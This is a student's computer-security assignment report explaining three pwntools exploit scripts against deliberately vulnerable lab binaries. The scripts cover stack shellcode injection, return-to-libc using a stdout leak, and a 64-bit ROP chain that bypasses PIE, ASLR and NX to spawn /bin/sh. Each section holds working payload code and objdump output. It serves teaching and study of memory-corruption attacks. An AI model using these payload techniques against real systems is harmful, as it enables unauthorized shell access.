Exploitation Scripts Analysis Report

배민수 Minsoo Bae 2022310865

This report details the execution logic and exploit mechanics of the three Python scripts developed for the SWE3025 Computer Security assignment.

Q1: Code Injection Analysis (1_exploit.py)

The 1_exploit.py script is designed to exploit a standard buffer overflow vulnerability in a binary compiled without an executable stack (NX disabled).

1. Information Gathering: The script listens to the program's standard output to capture the runtime memory address of the vulnerable buffer, which the program intentionally leaks.

```
 7   # Capture the leaked buffer address from the program's output
 8   p.recvuntil(b"Address of buffer[] inside bof():  ")
 9   leaked_address_str = p.recvline().strip()
10   buffer_addr = int(leaked_address_str, 16)
11   log.success(f"Leaked buffer address: {hex(buffer_addr)}")
```

2. Payload Generation: It utilizes the pwntools library (asm(shellcraft.sh())) to generate a standard 32-bit Linux shellcode designed to spawn an interactive /bin/sh shell.

```
15   # 1. Generate standard 32-bit Linux shellcode that executes /bin/sh
16   shellcode = asm(shellcraft.sh())
```

3. Stack Overwrite: The script constructs a payload starting with the shellcode. It pads the payload with junk characters ("A") up to a precise offset of 112 bytes. This specific offset is calculated to overflow the buffer (which is 100 bytes) and includes Compiler Padding (8 bytes) and the saved Base Pointer (EBP)(4 bytes), stopping exactly at the saved Instruction Pointer (EIP).

```
22   offset = 112
23
24   # 3. Construct the payload
25   payload = shellcode
26   payload += b"A" * (offset - len(shellcode)) # Pad the rest of the space with junk
```

4. Execution Hijack: Finally, the payload appends the leaked buffer address (packed in 32-bit format). This overwrites the saved EIP. When the vulnerable function returns, the CPU jumps to the beginning of the buffer and executes the injected shellcode.

```
27   payload += p32(buffer_addr)                # Overwrite EIP with the address of the buffer
```

Q2: Return-to-libc Analysis (2_exploit.py)

The 2_exploit.py script executes a return-to-libc attack against a 32-bit binary protected by a Non-Executable (NX) stack, preventing direct shellcode execution.

1. ASLR Bypass: The script captures the leaked memory address of the stdout pointer. By subtracting the static offset of the stdout symbol within the libc library, it dynamically calculates the libc base address for the current execution instance.

```
11  # Receive stdout leak
12  p.recvuntil(b"stdout @ ")
13  stdout_leak = int(p.recvline().strip(), 16)
14
15  log.info(f"stdout @ {hex(stdout_leak)}")
16
17  # Calculate libc base
18  libc_base = stdout_leak - libc.symbols["_IO_2_1_stdout_"]
19  log.info(f"libc @ {hex(libc_base)}")
```

2. Address Resolution: Using the calculated libc base, the script computes the absolute runtime address of the system() function (using an offset of 0x41360) and the exit() function. It also searches the binary's memory space for the globally defined "/bin/sh" string.

```
user@76761b55919a: ~/2.ret2libc
user@76761b55919a:~/2.ret2libc$ ldd ./retlib
        linux-gate.so.1 (0xf7fb3000)
        libc.so.6 => /lib32/libc.so.6 (0xf7db8000)
        /lib/ld-linux.so.2 (0xf7fb5000)
user@76761b55919a:~/2.ret2libc$ objdump -d /lib32/libc.so.6 | grep "system"
00041360 <__libc_system@@GLIBC_PRIVATE>:
   41378:       74 0e                   je     41388 <__libc_system@@GLIBC_PRIVATE+0x28>
```

```
21  # system offset from your objdump result
22  system_offset = 0x41360
23  system_addr = libc_base + system_offset
24
25  # exit for clean return
26  exit_addr = libc_base + libc.symbols["exit"]
27
28  # "/bin/sh" global string inside binary
29  binsh_addr = next(elf.search(b"/bin/sh"))
30
31  log.info(f"system @ {hex(system_addr)}")
32  log.info(f"/bin/sh @ {hex(binsh_addr)}")
```

3. Payload Construction: The script generates 16 bytes of padding to overflow the 12-byte buffer and the 4-byte saved EBP. It then constructs a synthetic call frame on the stack. It overwrites the saved EIP with the address of system(). Following the 32-bit cdecl calling convention, it places the address of exit() immediately after system() to serve as the return

address once system() finishes, and places the address of the "/bin/sh" string as the argument to system().

```
34  # buffer[12] + saved ebp[4]
35  offset = 16
36
37  payload  = b"A" * offset
38  payload += p32(system_addr)
39  payload += p32(exit_addr)
40  payload += p32(binsh_addr)
```

Q3: Return-Oriented Programming Analysis (3_exploit.py)

The 3_exploit.py script utilizes Return-Oriented Programming (ROP) to bypass PIE, ASLR, and NX protections on a 64-bit binary in a three-stage attack.

1. Stage 1 (PIE Leak): The script exploits an out-of-bounds read vulnerability. To reach the Saved RIP, we have to bypass the buffer (64), the padding/locals (16), and the Saved RBP (8) which adds up to 88. By sending an index of "11", it instructs the program to read past the bounds of the local buffer and print a saved return address from the stack as buffer[idx*8] is calculated. The script subtracts a known static offset (0x132f) from this leaked address to determine the PIE base address, un-randomizing the main executable.

```
17  # leak saved RIP
18  p.sendline(b"11")
19
20  line = p.recvline()
21
22  leaked_rip = int(line.split(b"0x")[1], 16)
23
24  log.info(f"Leaked RIP = {hex(leaked_rip)}")
25
26  # saved RIP returns to main+0x6d = 0x132f
27  pie_base = leaked_rip - 0x132f
28
29  elf.address = pie_base
30
31  log.info(f"PIE base = {hex(pie_base)}")
```

```
132a:    e8 97 fe ff ff      callq  11c6 <vuln>
132f:    b8 00 00 00 00      mov    $0x0,%eax
```

2. Stage 2 (Libc Leak): The script triggers a buffer overflow during a read operation. It sends 88 bytes of padding to reach the saved Return Address (RIP). It overwrites RIP with the dynamically calculated address of the print_stdout function (to leak the runtime stdout pointer) followed by the address of the vuln function (to restart the vulnerable loop and keep the program alive).

```
51  p.recvuntil(b"> ")
52
53  payload = b"A" * 88
54
55  payload += p64(print_stdout)
56  payload += p64(vuln)
57
58  p.send(payload)
59
60  # print_stdout writes 8 bytes of stdout pointer
61  stdout_leak = u64(p.recv(8))
62
63  log.info(f"stdout leak = {hex(stdout_leak)}")
64
```

From the leaked stdout pointer, the script calculates the libc base address and resolves the locations of system() and a "/bin/sh" string within libc.

```
69  libc_base = stdout_leak - libc.symbols["_IO_2_1_stdout_"]
70
71  log.info(f"libc base = {hex(libc_base)}")
72
73  # your discovered system offset
74  system_addr = libc_base + 0x52290
75
76  binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
77
78  log.info(f"system = {hex(system_addr)}")
79  log.info(f"/bin/sh = {hex(binsh_addr)}")
```

```
user@76761b55919a: ~/3.rop
user@76761b55919a:~/3.rop$ ldd ./rop
        linux-vdso.so.1 (0x00007ffebe491000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f09380eb000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f09382eb000)
user@76761b55919a:~/3.rop$ objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
0000000000052290 <__libc_system@@GLIBC_PRIVATE>:
   52297:       74 07                   je     522a0 <__libc_system@@GLIBC_PRIVATE+0x10>
```

3. Stage 3 (Shell Execution): The script triggers the buffer overflow a second time. After 88 bytes of padding, it injects a single ret gadget to enforce 16-byte stack alignment, which is mandatory for 64-bit system calls. It then injects a "pop rdi; ret" gadget. This gadget pops the next item on the stack (the address of "/bin/sh") into the RDI register, satisfying the 64-bit System V AMD64 ABI calling convention. Finally, the script appends the address of system() to execute the command and spawn the shell.

```
85  p.recvuntil(b"idx? ")
86
87  p.sendline(b"0")
88
89  p.recvuntil(b"> ")
90
91  payload = b"A" * 88
92
93  payload += p64(ret)
94  payload += p64(pop_rdi)
95  payload += p64(binsh_addr)
96  payload += p64(system_addr)
```